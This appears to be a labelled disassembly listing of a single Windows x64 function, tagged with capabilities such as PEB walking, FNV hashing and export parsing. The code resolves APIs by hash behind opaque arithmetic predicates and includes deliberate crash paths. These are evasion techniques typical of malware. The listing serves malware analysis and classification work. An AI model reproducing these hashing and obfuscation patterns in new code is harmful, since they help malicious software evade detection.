Function at 0x14008d0c4
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x38
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx r10d, al
xor edx, edx
movsx eax, byte [reloc.WS2_32.dll_htons]
xor r15d, r15d
lea ecx, [r9 + r10]
lea ecx, [rcx + r9*8]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140093eb0
cmp byte [0x1402a1d7e], r15b
je 0x14008d143
cmp byte [0x1402a1d7c], r15b
je 0x14008d143
cmp byte [0x1402a1d7d], r15b
lea edx, [r15 + 1]
jne 0x14008d146
mov rdx, r15
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
lea ebx, [r10 + r9*4]
mov edi, 4
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
xor edx, edx
mulsd xmm1, xmm0
movsd qword [rbp + 0x48], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d1e2
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008d1e2
mov r11d, edi
jmp 0x14008d246
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d242
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*4]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
xorps xmm0, xmm0
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp + 0x48]
cvttsd2si r11d, xmm0
jmp 0x14008d246
mov r11d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r11d
test eax, eax
je 0x140093eb0
lea eax, [r9 + r9*4]
mov dword [rbp + 0x50], 0xb3002016
lea r11d, [r10 + rax*2]
mov dword [rbp + 0x58], 0x2fd4df39
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
mov r12d, 0xf84eee59
mov dword [rbp + 0x48], r12d
mov r13d, 0xcded1a85
mov dword [rbp + 0x60], 0xe80fd3a
mov dword [rbp - 0x18], 0xa52bcaf9
cmp eax, ecx
je 0x14008e03d
cmp byte [0x1402a1d72], r15b
je 0x14008d2dc
cmp byte [0x1402a1d70], r15b
mov rdx, r15
jne 0x14008d2e1
mov edx, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
xor edx, edx
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d374
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008d374
mov r11d, edi
jmp 0x14008d3d1
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r9 + r9*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d3cd
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r11d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r11d, xmm0
jmp 0x14008d3d1
mov r11d, dword [rbp + 0x48]
movsx eax, byte [reloc.WS2_32.dll_htons]
lea ecx, [r9 + r10]
lea ecx, [rcx + r9*4]
xor edx, edx
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r11d
test eax, eax
je 0x14008e03d
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
add eax, r9d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d5a7
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
xor edx, edx
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
movzx eax, byte [0x1402a1d75]
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d4c6
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008d4c6
mov r9d, edi
jmp 0x14008d55c
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008d558
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x14008d55c
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14008d5a7
call fcn.1400b8e8c
mov ecx, 0x9c
call qword [0x1402a1e90]
mov rdx, qword [0x1402a3e40]
test rdx, rdx
jne 0x14008d71f
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r13d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008d626
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008d619
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008d60a
cmp edx, edi
jne 0x14008d700
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008d700
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008d700
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008d67a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008d66f
cmp edx, esi
je 0x14008d692
test r9d, r9d
jne 0x14008d65a
xor r15d, r15d
jmp 0x14008d700
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx r9d, word [rdx + r9*2]
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r9*4]
add rdx, r10
cmp rdx, r11
jbe 0x14008d77e
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14008d77e
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008d6db
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008d6cd
inc rdx
xor r15d, r15d
jmp 0x14008d6f7
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008d6e9
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008d715
cmp qword [rax + 0x30], r15
jne 0x14008d5df
mov rdx, r15
mov qword [0x1402a3e40], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x1402a3f90]
test rbx, rbx
jne 0x14008d898
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, r12d
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008d79f
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008d792
xor r15d, r15d
jmp 0x14008d718
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008d783
cmp edx, edi
jne 0x14008d879
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008d879
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008d879
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008d7f3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008d7e8
cmp edx, esi
je 0x14008d80b
test r11d, r11d
jne 0x14008d7d3
xor r15d, r15d
jmp 0x14008d879
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov ebx, dword [rdx + r8*4]
add rbx, r9
cmp rbx, r10
jbe 0x14008d8ff
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x14008d8ff
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008d854
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14008d846
inc rbx
xor r15d, r15d
jmp 0x14008d870
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x14008d862
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008d88e
cmp qword [rax + 0x30], r15
jne 0x14008d753
mov rbx, r15
mov qword [0x1402a3f90], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call rbx
mov rdx, qword [0x1402a3f88]
test rdx, rdx
jne 0x14008da19
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xb3002016
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008d920
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008d913
xor r15d, r15d
jmp 0x14008d891
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008d904
cmp edx, edi
jne 0x14008d9fa
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008d9fa
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008d9fa
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008d974
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008d969
cmp edx, esi
je 0x14008d98c
test r11d, r11d
jne 0x14008d954
xor r15d, r15d
jmp 0x14008d9fa
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008da77
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14008da77
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008d9d5
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008d9c7
inc rdx
xor r15d, r15d
jmp 0x14008d9f1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008d9e3
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008da0f
cmp qword [rax + 0x30], r15
jne 0x14008d8d4
mov rdx, r15
mov qword [0x1402a3f88], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f80]
test rdx, rdx
jne 0x14008db91
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0x2fd4df39
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008da98
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008da8b
xor r15d, r15d
jmp 0x14008da12
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008da7c
cmp edx, edi
jne 0x14008db72
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008db72
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008db72
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008daec
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008dae1
cmp edx, esi
je 0x14008db04
test r11d, r11d
jne 0x14008dacc
xor r15d, r15d
jmp 0x14008db72
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008dbef
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008dbef
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008db4d
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008db3f
inc rdx
xor r15d, r15d
jmp 0x14008db69
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008db5b
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008db87
cmp qword [rax + 0x30], r15
jne 0x14008da4c
mov rdx, r15
mov qword [0x1402a3f80], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1402a3f78]
test rdx, rdx
jne 0x14008dd09
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xe80fd3a
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008dc10
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008dc03
xor r15d, r15d
jmp 0x14008db8a
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008dbf4
cmp edx, edi
jne 0x14008dcea
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14008dcea
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14008dcea
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
mov edx, 0x811c9dc5
add r8, r9
jmp 0x14008dc64
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008dc59
cmp edx, esi
je 0x14008dc7c
test r11d, r11d
jne 0x14008dc44
xor r15d, r15d
jmp 0x14008dcea
mov ecx, dword [r10 + 0x24]
mov edx, dword [r10 + 0x1c]
add rcx, r9
add rdx, r9
movzx r8d, word [rcx + r11*2]
mov edx, dword [rdx + r8*4]
add rdx, r9
cmp rdx, r10
jbe 0x14008dd64
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14008dd64
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008dcc5
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14008dcb7
inc rdx
xor r15d, r15d
jmp 0x14008dce1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14008dcd3
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008dcff
cmp qword [rax + 0x30], r15
jne 0x14008dbc4
mov rdx, r15
mov qword [0x1402a3f78], rdx
xor ecx, ecx
call rdx
cmp qword [0x1402a3f70], r15
jne 0x14008de80
mov rax, qword gs:[0x60]
mov edi, r15d
mov esi, 0xa52bcaf9
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x14008dd85
psrldq xmm0, 8
mov edx, 0x811c9dc5
movzx eax, ax
movq rcx, xmm0
shr rax, 1
lea r8, [rcx + rax*2]
jmp 0x14008dd78
xor r15d, r15d
jmp 0x14008dd02
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14008dd69
cmp edx, edi
jne 0x14008de61
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14008de61
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14008de61
mov r15d, dword [r11 + 0x20]
dec r9d
lea rdx, [r15 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
jmp 0x14008ddd9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14008ddce
cmp edx, esi
je 0x14008ddf1
test r9d, r9d
jne 0x14008ddb9
xor r15d, r15d
jmp 0x14008de61
mov ecx, dword [r11 + 0x24]
mov edx, dword [r11 + 0x1c]
add rcx, r10
add rdx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, dword [rdx + r8*4]
add r9, r10
cmp r9, r11
jbe 0x14008dfa0
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14008dfa0
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14008de3a
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x14008de2c
inc r9
xor r15d, r15d
jmp 0x14008de57
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x14008de49
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x14008de76
cmp qword [rax + 0x30], r15
jne 0x14008dd39
mov r9, r15
mov qword [0x1402a3f70], r9
xor ecx, ecx
int 0x29
mov r9d, r15d
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea esi, [rcx + rdx*2]
call fcn.1400752e4
movsx edx, al
call fcn.1400752e8
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea r14d, [rcx + rdx*4]
call fcn.1400752e4
movsx r10d, al
call fcn.1400752e8
movsx ecx, al
imul r10d, ecx
call fcn.1400752f4
mov r11d, dword [rbp + 0x48]
movsx ebx, al
lea eax, [r10 + r10*4]
lea edi, [rbx + rax*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, esi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm2, xmm2
sub eax, ecx
xor edx, edx
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x10], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r14d
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dfa8
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008dfa8
mov r11d, 4
jmp 0x14008dffd
xor r15d, r15d
jmp 0x14008de79
movsx eax, byte [reloc.WS2_32.dll_htons]
lea edx, [r10 + r10*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, ebx
lea eax, [rax + rdx*2]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008dffd
movsx eax, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, edi
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
xorps xmm0, xmm0
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r11d, xmm0
cmp r9d, r11d
jge 0x14008e02c
mov edx, 1
mov eax, edx
mov qword [rbp - 0x10], rdx
mov ecx, edx
mov qword [rbp + rcx*8 - 0x10], rax
mov rax, qword [rbp - 0x10]
add rax, rdx
mov rcx, rax
mov qword [rbp - 0x10], rax
jne 0x14008e00f
add r9d, edx
jmp 0x14008deec
mov qword [0], 0x99
mov edi, 4
call fcn.1400752e8
movsx r9d, al
call fcn.1400752e4
movsx ecx, al
imul r9d, ecx
call fcn.1400752f4
movsx ecx, byte [reloc.WS2_32.dll_htons]
xor edx, edx
movsx eax, al
add eax, r9d
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008ee86
cmp qword [0x1402a1d80], r15
je 0x14008e0a7
cmp qword [0x1402a1d88], r15
je 0x14008e0a7
cmp dword [0x1402a1d94], r15d
je 0x14008e0a7
cmp dword [0x1402a1d98], r15d
mov rdx, r15
jne 0x14008e0ac
mov edx, 1
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
movsx eax, byte [reloc.WS2_32.dll_closesocket]
cvtdq2pd xmm1, xmm1
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rbp - 0x10], xmm1
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*4]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e160
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14008e160
mov r9d, edi
jmp 0x14008e1f6
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14008e1f2
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
call fcn.1400752f4
movsx ecx, al
xorps xmm0, xmm0
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
xor edx, edx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x10]
cvttsd2si r9d, xmm0
jmp 0x14008e1f6
mov r9d, dword [rbp + 0x48]
call fcn.1400752e8
movsx edx, al
call fcn.1400752e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1400752f4
movsx ecx, al
movsx eax, byte [reloc.WS2_32.dll_htons]
lea r10d, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
add eax, r10d
xor edx, edx
div ecx
